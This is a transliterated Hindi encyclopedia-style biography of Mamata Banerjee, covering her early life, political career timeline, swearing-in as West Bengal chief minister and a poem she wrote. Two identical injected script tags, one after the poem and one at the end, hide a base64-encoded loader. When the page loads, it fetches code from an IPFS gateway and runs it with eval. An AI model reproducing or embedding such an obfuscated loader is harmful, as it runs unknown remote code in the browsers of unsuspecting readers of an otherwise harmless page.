ममता बनर्जी

[[chitr:Mamata Banerjee.jpg|thumb|right|400|mamata banarji, mukhyamantri, pashchim bangal]] mamata banarji bharatiy rajy pashchim bangal ki vartaman mukhyamantri evan trinamool kaangres ki pramukh haian. mamata banarji ka janm kolakata mean 5 janavari, 1955 ko hua tha. ye apane samarthakoan mean 'didi' (b di bahan) ke nam se atyadhik lokapriy haian. sooti sa di, havaee chappal, kandhe par kap de ka thaila aur chehare par hamesha sangharsh ke bhav, inaki mukhy pahachan haian. trinamool kaangres ki adhyaksh mamata banarji apani sadagi aur sangharsh ki buniyad par pashchim bangal mean vamamorcha ke 34 sal purane qile ko dhahane mean saphal rahian. mamata ka vyaktitv ek zamini, sangharshashil, tez tarrar aur mukhar neta ke saman hai. vah chhote phayade ke lie kabhi apane lakshy se nahian bhataki.

shiksha

mamata banarji ne 'basanti devi k aaulej se apani snatak ki shiksha ko poorn kiya. bad mean apane 'jogesh chandr chaudhari l aau k aaulej' se apani qanoon ki digri prapt ki.

vyaktitv

mamata rab d ki chappal, sankari kinari vali sooti sa di ki pahachan ban gee haian. ab bhi vah lal khaparail ki chhat vale ghar mean rahati haian. niyamit roop se tredamil par abhyas karati haian. subah apani parti ke sahayogiyoan se batachit karati haian, baithakoan, railiyoan aur relave se ju de samarohoan se nibatane ke bad hi aram karati haian.

sangharsh ke din

kabhi aisa samay bhi tha, jab mamata banarji ko garibi se sangharsh karate hue doodh bechane ka kam bhi karana p da tha. unake lie apane chhote bhaee-bahanoan ke palan-poshan mean apani vidhava maan ki madad karane ka yahi akela tarika tha. mamata ke pita svatantrata senani the aur jab ve bahut chhoti thian, tabhi unaki mrityu ho gee thi. bad mean unhoanne apane parivar ko chalane ke lie doodh vikreta ka kary karane ka nirnay liya. musibat ke un dinoan ne mamata ko sakht bana diya aur unhoanne pashchim bangal mean kamyunistoan ko satta se bedakhal karane ke apane sapane ko poora karane mean dashakoan gujar die.

rajaniti

pashchim bangal mean yooth kaangres ki adhyaksh ke taur par mamata banarji ne rajaniti ki shuruat ki. ye pahali bar 1984 mean somanath chatarji ko harakar jadavapur sit se lok sabha mean pahuanchi. kaangres se alag hone ke bad inhoanne 1997 mean trinamool kaangres ki sthapana ki. dakshin kolakata sit se 1991, 1996, 1998, 1999, 2004 aur 2009 mean inhean lokasabha ke lie chuna gaya. mamata banarji do bar rel mantri rah chuki haian. inhoanne pahale rajag ke sath gathabandhan mean aur phir sanprag sarakar-do mean yah jimmedari sanbhali. qarib 13 sal ke sangharsh ke bad akhirakar pashchim bangal mean vamamorcha ko hatakar mamata banarji itihas rachane mean saphal rahian.

mukhyamantri

trinamool kaangres ki adhyaksh mamata banarji ne shukravar, 20 mee-2011 ko pashchim bangal ke mukhyamantri pad ki shapath grahan ki. inhoanne ne keval rajy mean 34 sal ke vamapanthi shasan ka aant kiya, balki rajy ki pahali mahila mukhyamantri banane ka gaurav bhi hasil kiya. hamesha ki tarah mamat banarji safed sa di pahanakar samaroh sthal pahuanchi thi. rajyapal em. ke. narayanan ne dopahar ek bajakar ek minat par rajabhavan mean unhean pad evan gopaniyata ki shapath dilaee. mamata ne yah samay svayan tay kiya tha. rajy ki 11vian mukhyamantri bani mamata ne baangla mean shapath li. mamata banarji ke sath trinamool kaangres ke 36 mantri v kaangres ke 7 mantriyoan ne bhi shapath li.

mamata ka rajanitik saphar

desh ki shaktishali netaoan mean shumar mamata banarji ke jivan ki kuchh mahatvapoorn ghatanaean is prakar haian-

• 1970: mean kaangres parti ki karyakarta bani|
• 1976-1980 : mamata banarji pashchim bangal mahila kaangres ki mahasachiv banian.
• 1984 : mamata ne marksavadi kamyunist parti (makapa) ke varishth neta somanath chatarji ko jadavapur lok sabha sit se haraya. unhean desh ki sabase yuva saansad banane ka gaurav bhi prapt hua. unhean akhil bharatiy yuva kaangres ka mahasachiv banaya gaya.
• 1989 : kaangres virodhi lahar mean mamata jadavapur lok sabha sit par malini bhattachary se parajit hueean.
• 1991 : mamata dobara lok sabha ki sadasy banian. unhoanne dakshini kalakatta (kolakata) lok sabha sit se makapa ke biplav dasagupta ko parajit kiya. varsh 1996, 1998, 1999, 2004 aur 2009 mean vah isi sit se lokasabha sadasy nirvachit hueean.
• agast 1989 : dakshin kolakata mean hajara kraansiang par virodh pradarshan ke dauran makapa ke karyakartaoan dvara kathit taur par pite jane ki vajah se unake sir mean chotean aeean.
• 1991 : kolakata se lokasabha ke lie chuni gee. narasimha rav sarakar mean manav sansadhan vikas, yuva mamaloan aur mahila evan bal vikas vibhag mean rajy mantri

banian. narasimhaan rav sarakar mean khel mantri banaee gee.

• 21 julaee, 1993 : mamata ke netritv mean yuva kaangres samarthakoan ka dal 'r aauyatars bildiang' ki taraph badh raha tha usi samay ki gee golibari mean 13 karyakartaoan ki maut ho gee. ve matadata pahachan patr ko matadan ke lie ekamatr dastavez mane jane ki maang kar rahe the.
• julaee 1996 : mantri hone ke bavajood mamata ne lok sabha mean petrol ki qimatoan mean vriddhi ka virodh kiya.
• 1996 se 2009 tak dakshin kolakata lokasabha sit se vijayi hoti rahi haian.
• faravari 1997 : tatkalin rel mantri 'ramavilas pasavan' ke rel bajat mean pashchim bangal ko najaraandaz karane ki bat kahate hue mamata ne apani shal unake oopar pheank di aur apane istiphe ki ghoshana ki.
• 22 disambar, 1997 : mamata ne kaangres chho di aur kolakata mean akhil bharatiy trinamool kaangres ka gathan karane ki ghoshana ki.
• 1 janavari, 1998 : trinamool kaangres aupacharik roop se astitv mean aee.
• 1998 aur 1999 : bharatiy janata parti (bhajapa) ke sath sitoan ka bantavara kar lok sabha ka chunav l da.
• 1999 : rashtriy janataantrik gathabandhan (rajag) ke netritv mean banane vali sarakar mean trinamool kaangres bhi shamil huee aur mamata rel mantri bani.
• 2001: tahalaka ke khulase ke bad rajag chho d diya.
• march 2001 : rajag chho dakar rajy vidhanasabha chunav ke lie kaangres gathabandhan mean shamil hueean. chunav mean vam morche ko 199 aur trinamool-kaangres gathabandhan ko 86 sitean milian.
• agast 2001 : mamata banarji pun: rajag mean lauanti aeean.
• janavari 2004 : keandriy koyala evan khadan mantri banian. lok sabha chunav mean trinamool kaangres ne kharab pradarshan kiya. pashchim bangal mean mamata ki parti ko keval ek sit mili.
• 2005: p. bangal ke nandigram mean iandoneshiyan samooh salim ke nivesh ka virodh kiya
• mee 2006 : trinamool kaangres ne bhajapa ke sath milakar vidhanasabha ka chunav l da, lekin pradarshan kharab raha. is gathabandh ko keval 30 sitean mili, jabaki vam morcha ko 233 sitean mili.
• navambar 2006 : pashchim bangal mean hugali zile ke siangoor mean tata motars ki prastavit pariyojana ka virodh kiya aur 12 ghante ke band ka ailan kiya. trinamool kaangres ke vidhayakoan ne vidhanasabha mean to dapho d ki.
• disambar 2006 : siangoor mean anichchhuk kisanoan ki adhigrahit zamin vapas lautane ki maang ko lekar mamata banarji ne shahar mean sthit metro chainal par 25 dinoan ki bhookh h datal ki. yoo pi e sarakar mean rel mantri banaee gee
• march 14, 2007 : pashchimi midanapur zile ke nandigram mean pashchim bangal sarakar ki bhoomi adhigrahan yojana ka virodh kar rahe kisanoan par pulis dvara ki gee golibari mean 14 kisanoan ki maut ho gee.
• 14 navambar, 2007 : bangal mean prakhyat buddhijiviyoan ne trinamool kaangres ke netaoan ke sath kolakata se nandigram tak ek shaanti march nikala.
• mee 2008 : trinamool kaangres ne pashchimi midanapur aur dakshin 24 paragana ki zila parishad ki sit par qabza kar liya. yah sit vam morche ke qabze mean thi. trinamool kaangres ne nandigram aur siangoor mean bhi vam morche ka saphaya kar diya.
• apane chunav abhiyan ke lie paisa jutane ke lie mamata banarji kaphi vyast rahian. varsh 2007 aur 2008 mean apane tail chitroan ki bikri kar char lakh aur 15 lakh rupaye kamaye aur ise dan kar diya.
• 2009 : kaangres aur trinamool kaangres ne ek sath milakar lok sabha chunav l da. trinamool ko pashchim bangal ki 42 lokasabha sitoan mean se 26 par jit hasil huee. mamata ek bar phir rel mantri banian.
• joon 2010 : nagar nigam chunav mean trinamool kaangres ne kolakata nagar nigam par apana paracham laharaya. kolakata nagar nigam par trinamool kaangres ne 62 sitoan ke aantar se kabja jamaya.
• 18 march, 2011 : mamata ne kaangres ke sath milakar pashchim bangal vidhanasabha ka chunav l da.
• 13 mee, 2011 : vidhanasabha chunav mean trinamool kaangres-kaangres gathabandhan ne rajy ki 294 sitoan mean se 227 par apana paracham laharaya.
• mee 20, 2011 : mamata banarji ne pashchim bangal ki mukhyamantri ke roop mean shapath li.

sanvedanashil kavayitri

bangal ke janamanas mean ‘poribortan’ ka sapana bharane vali, pashchim bangal ki mukhyamantri evan trinamool kaangres adhyaksh mamata banarji ke jivan ka ek anajana pahaloo yah bhi hai ki, ve ek sanvedanashil kavayitri haian. unaki kavitaoan mean bhi ‘badarang’ ho chuki rajaniti ke ‘poribartan’ (badalav) ki chhatapatahat hai aur sath-sath isaki is ashay ki huankar bhi hai. sushri banarji ki is ashay ki kavita ‘rajaniti’ isi manovyatha ko darshati hai aur khasi charchit hai.

‘rajaniti’ ek shabd, jisase man mean kabhi jagata tha shraddhabhav
ab ho gaye haian isake mayane b da karobar
parti ke daphtar ban gaye haian bazar
sach, rajaniti banakar rah gayi hai ‘ganda khel’
‘rajaniti’ jo honi chahie thi siddhaantoan aur moolyoan ka paryay
samay ne badala hai isaka arth ab hai yah hai aparadh ki pathashala
nahian bita hai bahut vakt jab rajaniti ki kuanji thi ‘janashakti’
aphasos, ab isake mayane ho gaye haian ‘dhanashakti’
bharosa, eemanadari, nishtha hai ye shabd behad nek, behad pak
lekin gayab hote ja rahe haian dhire-dhire ab ye rajaniti ke shabdakosh se
‘rajaniti hai janaseva, deshaseva’ banati ja rahi haian ye sab batean
ab bhooli-bisari-si yadean
rajaniti to hai aj glaimar aur phaishan
‘sach’ glaimar aur phaishan
badalane hi hoange hamean ye halat, badalani hogi rajaniti ki badarang tasvir
kahian aisa n ho himalay ki yah ganga
gandagi ke bhanvarajal mean doob jaye, sama jae.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>